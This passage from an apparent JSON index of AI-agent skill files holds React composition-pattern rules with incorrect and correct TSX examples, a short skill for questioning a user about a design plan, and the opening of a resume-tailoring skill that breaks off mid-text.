**`AGENTS.md`** - Compiled output (generated)\n\n## Rules\n\n### Component Architecture (CRITICAL)\n\n- `architecture-avoid-boolean-props.md` - Don't add boolean props to customize\n  behavior\n- `architecture-compound-components.md` - Structure as compound components with\n  shared context\n\n### State Management (HIGH)\n\n- `state-lift-state.md` - Lift state into provider components\n- `state-context-interface.md` - Define clear context interfaces\n  (state/actions/meta)\n- `state-decouple-implementation.md` - Decouple state management from UI\n\n### Implementation Patterns (MEDIUM)\n\n- `patterns-children-over-render-props.md` - Prefer children over renderX props\n- `patterns-explicit-variants.md` - Create explicit component variants\n\n## Core Principles\n\n1. **Composition over configuration** — Instead of adding props, let consumers\n   compose\n2. **Lift your state** — State in providers, not trapped in components\n3. **Compose your internals** — Subcomponents access context, not props\n4. **Explicit variants** — Create ThreadComposer, EditComposer, not Composer\n   with isThread\n\n## Creating a New Rule\n\n1. Copy `rules/_template.md` to `rules/area-description.md`\n2. Choose the appropriate area prefix:\n   - `architecture-` for Component Architecture\n   - `state-` for State Management\n   - `patterns-` for Implementation Patterns\n3. Fill in the frontmatter and content\n4. Ensure you have clear examples with explanations\n\n## Impact Levels\n\n- `CRITICAL` - Foundational patterns, prevents unmaintainable code\n- `HIGH` - Significant maintainability improvements\n- `MEDIUM` - Good practices for cleaner code\n","isInternal":false,"tokens":476,"sizeBytes":2140},{"name":"_sections.md","path":"skills/composition-patterns/rules/_sections.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/_sections.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"# Sections\n\nThis file defines all sections, their ordering, impact levels, and descriptions.\nThe section ID (in parentheses) is the filename prefix used to group rules.\n\n---\n\n## 1. Component Architecture (architecture)\n\n**Impact:** HIGH\n**Description:** Fundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n## 2. State Management (state)\n\n**Impact:** MEDIUM\n**Description:** Patterns for lifting state and managing shared context across\ncomposed components.\n\n## 3. Implementation Patterns (patterns)\n\n**Impact:** MEDIUM\n**Description:** Specific techniques for implementing compound components and\ncontext providers.\n\n## 4. React 19 APIs (react19)\n\n**Impact:** MEDIUM\n**Description:** React 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n","isInternal":false,"tokens":176,"sizeBytes":821},{"name":"_template.md","path":"skills/composition-patterns/rules/_template.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/_template.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Rule Title Here\nimpact: MEDIUM\nimpactDescription: brief description of impact\ntags: composition, components\n---\n\n## Rule Title Here\n\nBrief explanation of the rule and why it matters.\n\n**Incorrect:**\n\n```tsx\n// Bad code example\n```\n\n**Correct:**\n\n```tsx\n// Good code example\n```\n\nReference: [Link](https://example.com)\n","frontmatter":{"title":"Rule Title Here","impact":"MEDIUM","impactDescription":"brief description of impact","tags":"composition, components"},"isInternal":false,"tokens":80,"sizeBytes":329},{"name":"architecture-avoid-boolean-props.md","path":"skills/composition-patterns/rules/architecture-avoid-boolean-props.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/architecture-avoid-boolean-props.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Avoid Boolean Prop Proliferation\nimpact: CRITICAL\nimpactDescription: prevents unmaintainable component variants\ntags: composition, props, architecture\n---\n\n## Avoid Boolean Prop Proliferation\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\ncomponent behavior. Each boolean doubles possible states and creates\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect (boolean props create exponential complexity):**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct (composition eliminates conditionals):**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\nsharing a single monolithic parent.\n","frontmatter":{"title":"Avoid Boolean Prop Proliferation","impact":"CRITICAL","impactDescription":"prevents unmaintainable component variants","tags":"composition, props, architecture"},"isInternal":false,"tokens":501,"sizeBytes":2213},{"name":"architecture-compound-components.md","path":"skills/composition-patterns/rules/architecture-compound-components.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/architecture-compound-components.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Use Compound Components\nimpact: HIGH\nimpactDescription: enables flexible composition without prop drilling\ntags: composition, compound-components, architecture\n---\n\n## Use Compound Components\n\nStructure complex components as compound components with a shared context. Each\nsubcomponent accesses shared state via context, not props. Consumers compose the\npieces they need.\n\n**Incorrect (monolithic component with render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct (compound components with shared context):**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n","frontmatter":{"title":"Use Compound Components","impact":"HIGH","impactDescription":"enables flexible composition without prop drilling","tags":"composition, compound-components, architecture"},"isInternal":false,"tokens":570,"sizeBytes":2578},{"name":"patterns-children-over-render-props.md","path":"skills/composition-patterns/rules/patterns-children-over-render-props.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/patterns-children-over-render-props.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Prefer Composing Children Over Render Props\nimpact: MEDIUM\nimpactDescription: cleaner composition, better readability\ntags: composition, children, render-props\n---\n\n## Prefer Children Over Render Props\n\nUse `children` for composition instead of `renderX` props. Children are more\nreadable, compose naturally, and don't require understanding callback\nsignatures.\n\n**Incorrect (render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct (compound components with children):**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\nUse children when composing static structure.\n","frontmatter":{"title":"Prefer Composing Children Over Render Props","impact":"MEDIUM","impactDescription":"cleaner composition, better readability","tags":"composition, children, render-props"},"isInternal":false,"tokens":425,"sizeBytes":1882},{"name":"patterns-explicit-variants.md","path":"skills/composition-patterns/rules/patterns-explicit-variants.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/patterns-explicit-variants.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Create Explicit Component Variants\nimpact: MEDIUM\nimpactDescription: self-documenting code, no hidden conditionals\ntags: composition, variants, architecture\n---\n\n## Create Explicit Component Variants\n\nInstead of one component with many boolean props, create explicit variant\ncomponents. Each variant composes the pieces it needs. The code documents\nitself.\n\n**Incorrect (one component, many modes):**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct (explicit variants):**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n- What UI elements it includes\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n","frontmatter":{"title":"Create Explicit Component Variants","impact":"MEDIUM","impactDescription":"self-documenting code, no hidden conditionals","tags":"composition, variants, architecture"},"isInternal":false,"tokens":495,"sizeBytes":2385},{"name":"react19-no-forwardref.md","path":"skills/composition-patterns/rules/react19-no-forwardref.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/react19-no-forwardref.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: React 19 API Changes\nimpact: MEDIUM\nimpactDescription: cleaner component definitions and context usage\ntags: react19, refs, context, hooks\n---\n\n## React 19 API Changes\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect (forwardRef in React 19):**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct (ref as a regular prop):**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect (useContext in React 19):**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct (use instead of useContext):**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n","frontmatter":{"title":"React 19 API Changes","impact":"MEDIUM","impactDescription":"cleaner component definitions and context usage","tags":"react19, refs, context, hooks"},"isInternal":false,"tokens":255,"sizeBytes":953},{"name":"state-context-interface.md","path":"skills/composition-patterns/rules/state-context-interface.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/state-context-interface.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Define Generic Context Interfaces for Dependency Injection\nimpact: HIGH\nimpactDescription: enables dependency-injectable state across use-cases\ntags: composition, context, state, typescript, dependency-injection\n---\n\n## Define Generic Context Interfaces for Dependency Injection\n\nDefine a **generic interface** for your component context with three parts:\n`state`, `actions`, and `meta`. This interface is a contract that any provider\ncan implement—enabling the same UI components to work with completely different\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\ndependency-injectable.\n\n**Incorrect (UI coupled to specific state implementation):**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct (generic interface enables dependency injection):**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\nThe provider boundary is what matters—not the visual nesting. Components that\nneed shared state don't have to be inside the `Composer.Frame`. They just need\nto be within the provider.\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\nbox, but they can still access its state and actions. This is the power of\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\nby the provider. Swap the provider, keep the UI.\n","frontmatter":{"title":"Define Generic Context Interfaces for Dependency Injection","impact":"HIGH","impactDescription":"enables dependency-injectable state across use-cases","tags":"composition, context, state, typescript, dependency-injection"},"isInternal":false,"tokens":1076,"sizeBytes":4974},{"name":"state-decouple-implementation.md","path":"skills/composition-patterns/rules/state-decouple-implementation.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/state-decouple-implementation.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Decouple State Management from UI\nimpact: MEDIUM\nimpactDescription: enables swapping state implementations without changing UI\ntags: composition, state, architecture\n---\n\n## Decouple State Management from UI\n\nThe provider component should be the only place that knows how state is managed.\nUI components consume the context interface—they don't know if state comes from\nuseState, Zustand, or a server sync.\n\n**Incorrect (UI coupled to state implementation):**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct (state management isolated in provider):**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\ndepends on the context interface, not the implementation.\n","frontmatter":{"title":"Decouple State Management from UI","impact":"MEDIUM","impactDescription":"enables swapping state implementations without changing UI","tags":"composition, state, architecture"},"isInternal":false,"tokens":564,"sizeBytes":2637},{"name":"state-lift-state.md","path":"skills/composition-patterns/rules/state-lift-state.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/rules/state-lift-state.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"---\ntitle: Lift State into Provider Components\nimpact: HIGH\nimpactDescription: enables state sharing outside component boundaries\ntags: composition, state, context, providers\n---\n\n## Lift State into Provider Components\n\nMove state management into dedicated provider components. This allows sibling\ncomponents outside the main UI to access and modify state without prop drilling\nor awkward refs.\n\n**Incorrect (state trapped inside component):**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect (useEffect to sync state up):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect (reading state from ref on submit):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct (state lifted to provider):**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\nsubmit action because it's within the provider. Even though it's a one-off\ncomponent, it can still access the composer's state and actions from outside the\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\nnested inside each other—they just need to be within the same provider.\n","frontmatter":{"title":"Lift State into Provider Components","impact":"HIGH","impactDescription":"enables state sharing outside component boundaries","tags":"composition, state, context, providers"},"isInternal":false,"tokens":686,"sizeBytes":3224},{"name":"SKILL.md","path":"skills/composition-patterns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/SKILL.md","title":"vercel-composition-patterns","category":"anthropic-skill","format":"markdown","content":"---\nname: vercel-composition-patterns\ndescription: React composition patterns that scale. Use when refactoring components with\n  boolean prop proliferation, building flexible component libraries, or\n  designing reusable APIs. Triggers on tasks involving compound components,\n  render props, context providers, or component architecture. Includes React 19\n  API changes.\nlicense: MIT\nmetadata:\n  author: vercel\n  version: \"1.0.0\"\n---\n\n# React Composition Patterns\n\nComposition patterns for building flexible, maintainable React components. Avoid\nboolean prop proliferation by using compound components, lifting state, and\ncomposing internals. These patterns make codebases easier for both humans and AI\nagents to work with as they scale.\n\n## When to Apply\n\nReference these guidelines when:\n\n- Refactoring components with many boolean props\n- Building reusable component libraries\n- Designing flexible component APIs\n- Reviewing component architecture\n- Working with compound components or context providers\n\n## Rule Categories by Priority\n\n| Priority | Category                | Impact | Prefix          |\n| -------- | ----------------------- | ------ | --------------- |\n| 1        | Component Architecture  | HIGH   | `architecture-` |\n| 2        | State Management        | MEDIUM | `state-`        |\n| 3        | Implementation Patterns | MEDIUM | `patterns-`     |\n| 4        | React 19 APIs           | MEDIUM | `react19-`      |\n\n## Quick Reference\n\n### 1. Component Architecture (HIGH)\n\n- `architecture-avoid-boolean-props` - Don't add boolean props to customize\n  behavior; use composition\n- `architecture-compound-components` - Structure complex components with shared\n  context\n\n### 2. State Management (MEDIUM)\n\n- `state-decouple-implementation` - Provider is the only place that knows how\n  state is managed\n- `state-context-interface` - Define generic interface with state, actions, meta\n  for dependency injection\n- `state-lift-state` - Move state into provider components for sibling access\n\n### 3. Implementation Patterns (MEDIUM)\n\n- `patterns-explicit-variants` - Create explicit variant components instead of\n  boolean modes\n- `patterns-children-over-render-props` - Use children for composition instead\n  of renderX props\n\n### 4. React 19 APIs (MEDIUM)\n\n> **⚠️ React 19+ only.** Skip this section if using React 18 or earlier.\n\n- `react19-no-forwardref` - Don't use `forwardRef`; use `use()` instead of `useContext()`\n\n## How to Use\n\nRead individual rule files for detailed explanations and code examples:\n\n```\nrules/architecture-avoid-boolean-props.md\nrules/state-context-interface.md\n```\n\nEach rule file contains:\n\n- Brief explanation of why it matters\n- Incorrect code example with explanation\n- Correct code example with explanation\n- Additional context and references\n\n## Full Compiled Document\n\nFor the complete guide with all rules expanded: `AGENTS.md`\n","frontmatter":{"name":"vercel-composition-patterns","description":"React composition patterns that scale. Use when refactoring components with boolean prop proliferation, building flexible component libraries, or designing reusable APIs. Triggers on tasks involving compound components, render props, context providers, or component architecture. Includes React 19 API changes.","license":"MIT","metadata":{"author":"vercel","version":"1.0.0"}},"isInternal":false,"tokens":629,"sizeBytes":2884},{"name":"SKILL.md","path":"skills/cross-examine/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/cross-examine/SKILL.md","title":"cross-examine","category":"anthropic-skill","format":"markdown","content":"---\nname: cross-examine\ndescription: Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions \"grill me\".\n---\n\nInterview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer.\n\nAsk the questions one at a time.\n\nIf a question can be answered by exploring the codebase, explore the codebase instead.\n","frontmatter":{"name":"cross-examine","description":"Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions \"grill me\"."},"isInternal":false,"tokens":123,"sizeBytes":640},{"name":"SKILL.md","path":"skills/cv-tailor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/cv-tailor/SKILL.md","title":"cv-tailor","category":"anthropic-skill","format":"markdown","content":"---\nname: cv-tailor\ndescription: \"Optimize resumes by matching keywords to the job description, rewriting experience with the quantified STAR method, and checking ATS compatibility. Triggered when users ask for resume help, review, or polishing, mention JD matching, STAR method, ATS, or want to tailor their resume for a specific role.\"\nlicense: MIT\n---\n\n# CV Tailor\n\n**Three pillars of resume optimization**: Analyze keyword alignment against the target JD, rewrite experience bullets using the STAR method with quantified results, and run an ATS compatibility check — producing a highly targeted, high-pass-rate optimized resume.\n\n## Quick Start\n\nThe user provides their resume (content or file) and the target JD. The agent then automatically completes the optimization following the workflow below:\n\n```\nUser: Help me optimize my resume — I'm applying for this role [attaches JD + resume]\nAgent: [Follows the SOP workflow and outputs optimization recommendations plus a rewritten resume]\n```\n\n## SOP Workflow\n\n### Phase 1: Input Collection & Initial 